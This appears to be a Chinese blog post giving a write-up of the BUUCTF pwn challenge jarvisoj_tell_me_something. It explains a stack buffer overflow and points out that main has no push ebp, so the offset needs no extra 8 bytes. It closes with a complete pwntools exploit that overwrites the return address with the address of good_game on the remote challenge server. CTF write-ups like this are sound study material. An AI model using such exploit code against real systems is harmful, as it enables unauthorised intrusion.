jarvisoj_tell_me_something【BUUCTF】

本文探讨了在IDA分析中发现的溢出漏洞,强调了通过IDA查找溢出大小的局限性,并分享了如何避开main函数的pushebp操作,成功利用溢出引导至漏洞函数的实践。经验分享包括完整exploit代码实例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
发现只开启了NX,IDA分析:
在这里插入图片描述
明显存在溢出漏洞,并且发现存在漏洞函数:
在这里插入图片描述
那就很简单了,溢出指向漏洞函数即可,但此题有个小坑,其实最开始学pwn时会通过gdb查找溢出大小,但后面懒了就直接通过IDA查看,但IDA并不一定准确,并且题目本身也会有坑,比如该题。通常main函数会先执行push ebp的操作,如:
在这里插入图片描述
但本题,main函数没有push ebp的操作,所有溢出时不需要多加8字节ebp位置
在这里插入图片描述
完整exp:

from pwn import *
context.log_level = True
io=remote("node4.buuoj.cn", 29258)
elf = ELF("./guestbook")
good_game_addr = elf.symbols["good_game"]

payload = b'A'*(0x88) + p64(good_game_addr)
io.recvline()
io.sendline(payload)
io.recv()
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值